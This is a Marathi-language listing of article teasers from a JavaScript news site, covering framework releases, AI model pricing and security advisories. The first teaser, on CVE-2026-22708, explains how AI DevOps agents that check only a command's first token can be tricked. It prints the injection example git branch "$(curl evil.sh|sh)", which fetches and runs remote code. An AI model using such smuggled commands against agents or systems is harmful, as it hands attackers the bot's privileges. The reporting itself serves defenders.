GyaanSetu JavaScript

The JavaScript and TypeScript ecosystem.

90 articlesDeep, practical knowledge

AI-चालित DevOps बॉट्सचा पर्दाफाश: प्रीफिक्स व्हाईटलिस्टमुळे हल्लेखोर कोणताही कोड रन करू शकतात

CVE-2026-22708 हे दर्शवते की, कमांडचा फक्त पहिला टोकन तपासणारे एजंट्स आर्गुमेंट्समध्ये लपवलेल्या पेलोड्सद्वारे (उदा. git branch "$(curl evil.sh|sh)") फसवले जाऊ शकतात, ज्यामुळे हल्लेखोरांना ऑटोमेशन बॉटप्रमाणेच समान अधिकार प्राप्त होतात.

JavaScript · 4 min read

Anthropic ने रिपिटिटिव्ह एजंट लूप्ससाठी Claude Fable 5.1 च्या खर्चात 45% कपात केली

ही 45% सवलत तेव्हा लागू होते जेव्हा एकच सिस्टम प्रॉम्प्ट आणि टूल स्कीमा अनेक इटरेशन्समध्ये पुन्हा वापरले जातात, ज्यामुळे Claude Fable 5.1 स्वायत्त कोड रिव्ह्यूअर्स, तिकीट-ट्रायज बॉट्स आणि इतर रिपिटिटिव्ह एजंट पाइपलाइनसाठी विशेषतः आकर्षक ठरते.

JavaScript · 3 min read

WebFPGA केवळ 30 mW मध्ये 4 ms मध्ये TinyML इन्फरन्स देते – कोणताही डेटा ब्राउझरच्या बाहेर जात नाही

WebFPGA JavaScript मधून Lattice iCE40-UP5K FPGA प्रोग्राम करण्यासाठी WebUSB API वापरते, ज्यामुळे केवळ काही मिलीवॅट वीज वापरून आणि सर्व डेटा डिव्हाइसवरच ठेवून 10 ms पेक्षा कमी वेळेत TinyML इन्फरन्स करणे शक्य होते.

JavaScript · 2 min read

लीक झालेल्या स्ट्राइप कीजमुळे ६६९ विक्रेत्यांकडे फसव्या व्यवहारांना आणि ग्राहकांच्या डेटाच्या चोरीला वाव

या उघड झालेल्या कीजमुळे हल्लेखोर चार्जेस तयार करू शकतात, इनव्हॉइस काढू शकतात आणि वैयक्तिक डेटा गोळा करू शकतात, ज्यामुळे चार्जबॅक, दंड आणि ब्रँडच्या प्रतिष्ठेला धोका निर्माण झाला आहे. तातडीच्या उपाययोजनांमध्ये डॉटफाइल्स ब्लॉक करणे, प्रत्येक की रोटेट करणे आणि सिक्रेट्स व्हॉल्टमध्ये हलवणे यांचा समावेश आहे.

JavaScript · 4 min read

LibreOffice 26.8 ने गोपनीयता-प्रथम रोडमॅप सादर केला, AI क्लाउड कॉल्सना बगल दिली

नवीन आवृत्ती जटिल लिपींसाठी परिच्छेद मांडणी अधिक अचूक करते, एक साधे 'ड्राफ्ट व्ह्यू' समाविष्ट करते आणि ODF-DOCX/XLSX रूपांतरण सुधारते; तसेच, सुरक्षा पॅचेस आणि मॅक्रो सँडबॉक्सिंगमुळे कागदपत्रे ऑन-प्रिमाइसेस सुरक्षित राहतात.

JavaScript · 2 min read

नवीन Rust Binary मुळे TypeScript 7 ने Type-Checking मधील विलंब 40% ने कमी केला आहे

Rust मध्ये लिहिलेले हे इंजिन एका स्वतंत्र प्रोसेसमध्ये चालते, ज्यामुळे type analysis आणि UI thread एकमेकांपासून वेगळे होतात. तसेच, यामध्ये अधिक स्मार्ट कॅशिंगचा वापर केला आहे जो फक्त बदललेल्या फाइल्स पुन्हा तपासतो, ज्यामुळे incremental builds अधिक वेगवान होतात.

JavaScript · 2 min read

Vue 3.6 चा Vapor Mode Virtual DOM चा वापर टाळून गेमची कामगिरी सुधारतो

Vue 3.6 चा आगामी Vapor Mode सिंगल-फाईल कंपोनंट्सना थेट DOM कॉल्समध्ये कंपाईल करतो, ज्यामुळे virtual-DOM diff स्टेपची गरज उरत नाही. प्रति सेकंद अनेकदा रिपेंट (repaint) होणाऱ्या बेंचमार्क गेम्समध्ये, हा बदल रेंडरिंग वेळ कमी करतो आणि बंडलचा आकार लहान करतो, जरी कमी-फ्रिक्वेन्सी असलेल्या UIs मध्ये याचा फारसा फायदा दिसत नसला तरी.

JavaScript · 4 min read

११ दिवसांत Bun ला Rust मध्ये पुन्हा लिहिण्यासाठी Anthropic ने Claude टोकन्सवर $१६५K खर्च केले

Anthropic च्या अभियंत्यांनी ११ दिवसांत Bun चा कोडबेस Rust मध्ये पुन्हा लिहिण्यासाठी ६४ समांतर Claude Fable 5 एजंट्सचा वापर केला, ज्यामध्ये $१६५K इतका टोकन वापर नोंदवला गेला; मात्र, मर्ज नंतरचे कम्प्युट आणि सुरक्षा ऑडिट्स विचारात घेतल्यास खरा खर्च त्यापेक्षा अधिक असण्याची शक्यता आहे.

JavaScript · 3 min read

Claude ने चार एजंट टूल्स GA मध्ये आणले, एंटरप्राइजेससाठी बीटा हेडर्सची अडचण दूर केली

केवळ बीटासाठी असलेले रिक्वेस्ट हेडर्स निघून गेल्यामुळे, एंटरप्राइजेस आता कायदेशीर आणि सुरक्षाविषयक अडथळे दूर करू शकतात. कॉम्प्युटर-युज टूलसाठीचा नवीन बॅच-ॲक्शन मोड कमी लॅटन्सी आणि टोकन वापराचे आश्वासन देतो, तरीही या बचतीची पडताळणी करणे आवश्यक आहे.

JavaScript · 3 min read

Next.js 16.3 मुळे Turbopack स्थिर झाले असून मध्यम आकाराच्या ॲप्ससाठी बिल्ड वेळ २-५ पटीने कमी झाली आहे

या रिलीजमध्ये प्रोडक्शन-रेडी 'Partial Prerendering' देखील आले आहे, जे 'Time to Interactive' मध्ये ४०-६०% बचत करू शकते. तसेच, यामध्ये Server Actions साठी अधिक सक्षम TypeScript सपोर्ट आणि Rust-आधारित middleware देण्यात आले आहे, परंतु यासाठी Node 20+ आवश्यक असून यामुळे सध्याचे Webpack प्लगइन्स खंडित होण्याची शक्यता आहे.

JavaScript · 3 min read

TanStack Table v9 ने ऑप्ट-इन फीचर्समुळे बंडल आकार ~५ KB पर्यंत कमी केला

नवीन बीटा आवृत्तीमुळे तुम्ही फक्त आवश्यक ग्रिड क्षमता इम्पोर्ट करू शकता—सॉर्टिंग कोड पूर्णपणे वगळून, डाउनलोड आकार सुमारे ५ KB पर्यंत कमी करता येईल आणि मुख्य-थ्रेडवरील (main-thread) काम टाळता येईल, ज्यामुळे पूर्वी INP स्कोअर कमी होत होते.

JavaScript · 2 min read

Chrome DevTools Debugger मुळे Playwright अपलोड्सचा वेग २० पटीहून अधिक मंदावला

जेव्हा Coffer ने Playwright द्वारे Chrome DevTools debugger जोडला, तेव्हा त्यांचे fetch-आधारित अपलोड्स ६०० Mbps वरून केवळ ११३ Mbps पर्यंत खाली आले—२० पटीहून अधिकच्या या मंदावामुळे त्यांचे बेंचमार्क निकाल पूर्णपणे बदलले.

JavaScript · 3 min read

SharedArrayBuffer सक्षम केल्यामुळे मला सर्व थर्ड-पार्टी स्क्रिप्ट्स सोडावी लागल्या

COOP आणि COEP हेडर्समुळे खऱ्या अर्थाने मल्टिथ्रेडिंग सुरू झाले, पण यामुळे ॲनालिटिक्स, Google Fonts, YouTube एम्बेड्स आणि OAuth पॉप-अप्स लगेच ब्लॉक झाले; परिणामी, मला सर्व असेट्स स्वतः होस्ट करावे लागले आणि फ्रंट-एंड शून्यापासून नव्याने लिहावे लागले.

JavaScript · 4 min read

ब्राउझर विरुद्ध नोड: इव्हेंट लूप कुठे वेगळा होतो

ब्राउझर विरुद्ध नोड: इव्हेंट लूप कुठे वेगळा होतो. इव्हेंट लूप हा जावास्क्रिप्ट लँग्वेज स्पेसिफिकेशनचा भाग नाही. तो होस्ट एन्व्हायरनमेंटचा भाग आहे. ब्राउझर आणि नोड त्याची अंमलबजावणी वेगवेगळ्या प्रकारे करतात...

JavaScript · 4 min read

WooCommerce सोशल लॉगिनमधील त्रुटीमुळे हॅकर्स कोणतेही वर्डप्रेस खाते हायजॅक करू शकतात

CVE 2026 8457: WooCommerce सोशल लॉगिन ऑथेंटिकेशन बायपास. WPWeb Elite च्या WooCommerce सोशल लॉगिन प्लगइनमध्ये एक गंभीर सुरक्षा त्रुटी आढळली आहे. या त्रुटीचा CVSS स्कोअर ९ आहे...

JavaScript · 3 min read

Next.js 16.3 मध्ये त्वरित कनेक्टिव्हिटी शोधण्यासाठी प्रायोगिक 'useOffline' Hook आणले आहे

हे हुक रिअल-टाइममध्ये अपडेट होणारे 'boolean' देते, ज्यामुळे डेटा फेच (fetch) अयशस्वी होण्याची वाट न पाहता तुम्ही मुख्य ॲपऐवजी साधा “तुम्ही ऑफलाइन आहात” असा संदेश दाखवू शकता; मात्र, हे स्वतःहून कॅशिंग किंवा बॅकग्राउंड सिंकची सुविधा देत नाही.

JavaScript · 2 min read

AWS Bedrock प्रॉक्सीमुळे Claude Code वापरणाऱ्यांचे टोकन बिल २०%–३५% ने कमी झाले

एका डेव्हलपरने तयार केलेल्या Dockerised LiteLLM प्रॉक्सीमुळे Claude Code CLI आता Bedrock वरील Amazon च्या Nova मॉडेलशी संवाद साधू शकते. यामुळे मूळ वर्कफ्लो कायम ठेवून, Anthropic च्या किमतींच्या तुलनेत लर्निंग-फेजचा खर्च एक तृतीयांश (one-third) पर्यंत कमी करणे शक्य झाले आहे.

JavaScript · 3 min read

R8 Bytecode Rewrite मुळे AGP 9.2.0 ने Kotlin Coroutine चा वेग दुप्पट केला

Android Gradle Plugin 9.2.0 मधील समाविष्ट R8 आता reflective AtomicFieldUpdater कॉल्सच्या जागी एक सिंगल Unsafe instruction वापरते, ज्यामुळे synchronization overhead कमी होतो आणि कोणत्याही सोर्स कोड बदलांशिवाय channel, mutex आणि StateFlow ऑपरेशन्स साधारणपणे 2x वेगाने मिळतात.

JavaScript · 4 min read

मे २०२६ च्या रिलीजमध्ये SvelteKit रिमोट फंक्शन्स आणि नेटिव्ह TypeScript 6 सपोर्ट आणत आहे

मे २०२६ च्या अपडेटमुळे डेव्हलपर्स एका साध्या async कॉलद्वारे सर्व्हर-साइड लॉजिक कार्यान्वित करू शकतील, तर TypeScript 6 मध्ये satisfies ऑपरेटर, जलद इन्क्रिमेंटल बिल्ड्स आणि अधिक कडक रूट टायपिंग मिळते—हे सर्व SvelteKit CLI न सोडता करता येईल.

JavaScript · 3 min read